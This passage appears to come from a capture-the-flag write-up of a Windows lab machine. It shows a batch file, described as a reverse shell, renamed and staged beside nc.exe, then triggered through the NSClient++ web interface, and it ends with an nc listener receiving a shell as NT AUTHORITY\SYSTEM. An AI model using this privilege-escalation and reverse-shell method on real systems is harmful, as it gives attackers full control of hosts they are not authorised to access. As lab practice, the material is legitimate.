-a----       12/17/2023   3:58 AM          59392 nc.exe
PS C:\Temp> move .\evil.bat poiint.bat
PS C:\Temp> ls
    Directory: C:\Temp
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       12/17/2023   4:15 AM                backup
-a----       12/17/2023   3:58 AM          59392 nc.exe
-a----       12/17/2023   3:59 AM             52 poiint.bat

The new “poiint.bat” is the reverse shell that should be executed as “NT AUTHORITY\SYSTEM”. Remember that we are using the “poiint.bat” file and not the evil because in the NSClient we specified that unique file to be executed. Now start a reverse shell in our kali box:

Execute the script and we should receive a shell:

RUN: https://127.0.0.1:8443/index.html#/queries/poiint

┌──(kali💀kali)-[~]
└─$ sudo nc -lvnp 5555

[sudo] password for kali: 
listening on [any] 5555 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.184] 52863
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
whoami
nt authority\system

Last updated